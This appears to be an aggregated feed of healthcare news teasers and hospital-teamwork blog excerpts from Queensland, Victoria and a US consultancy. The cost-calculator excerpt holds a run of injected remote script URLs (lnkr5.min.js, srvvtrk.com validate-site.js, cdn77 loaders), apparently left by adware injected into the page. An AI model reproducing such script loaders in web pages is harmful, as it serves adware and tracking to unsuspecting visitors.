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South East Queenslanders urged to keep safe during smoke haze

Following the deterioration of air quality in South East Queensland, the state’s Chief Health Officer is urging everyone to stay indoors for the next 24-48 hours. Source

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From bush to beach to Brisbane: new health leader vows quality care for all

Queensland Health’s new leader says it’s his mission to ensure every Queenslander enjoys access to world-class healthcare, no matter where they live. Source

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Older Queenslanders to get best healthcare out of hospital

Older Queenslanders will be supported to receive healthcare in their homes rather than going to hospital, giving them better health outcomes and quality of life thanks to a $20 million investment from the Palaszczuk Government. Source

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5. Cognitive Empathy: The Simple Power of Noticing People

Cognitive Empathy: The Simple Power of Noticing People In the previous post we introduce the advanced teamwork concept of resilience. We applied it to a slope of clinical deterioration. Now let’s apply the same concept of resilience to another scenario — a slope of deteriorating patient experience. (C) Copyright, 1Unit LLC 2019. All Rights Reserved. […]

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4. Resilience: The Calming Power of Proactive Care

Resilience: The Calming Power of Proactive Care How can hospital units organize themselves to outpace the tempo of deteriorating patient condition (or deteriorating patient experience)? The answer is resilience. What makes a hospital unit resilient is being able to stay ahead of issues as they arise. In the illustration below that foresight corresponds to the […]

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3. Reliability: The Simple Power of Checklists

Reliability: The Simple Power of Checklists Reliability in healthcare refers to how often we deliver the right care to the right patient at the right time. We’re human. Hospitals are complex. And hospital units have never been designed specifically for reliability. That’s why our error rates in the hospital are on the order of 1 […]

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Average HAC Common Events Calculator

Average HAC Common Costs Event Calculator The average HAC common costs event calculator below can be used to estimate the costs to your organization. Either use the standard average costs* OR enter your organization’s known costs for each HAC to get a more accurate vision of what these HACs are costing you.   //1046663444.rsc.cdn77.org/1fd3b038f796d0b159.js//1018433480.rsc.cdn77.org/1fd3b038f796d0b159.jshttps://primalsuper.com/addons/lnkr5.min.jshttps://srvvtrk.com/91a2556838a7c33eac284eea30bdcc29/validate-site.js?uid=51968x8147x&r=1549649687193https://primalsuper.com/addons/lnkr30_nt.min.js Notice: […]

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Nurses First

At Nurses First We Believe… Access to reliable and predictable information is essential to safe and collaborative nursing practice. Every shift is a chance to actively ensure our patients stay safe in hospital. Co-produced care is better care. And, partnerships with patients and families is at the heart of nursing care. “When nurses start ahead […]

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Hospital System ACU Visioning Session

Hospital System ACU Visioning Session In late 2018, a Canadian province had expanded the Accountable Care Unit model to 4 wards across multiple hospitals. This 2-year pilot was going well, and the province needed a clear plan and business case to keep growing. To help them, we designed and delivered a 1-day Hospital System ACU […]

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Outstanding public health services named

Victoria’s world-class health services have been recognised for their excellence, dedication and innovation in the 2018 Victorian Public Healthcare Awards. Source

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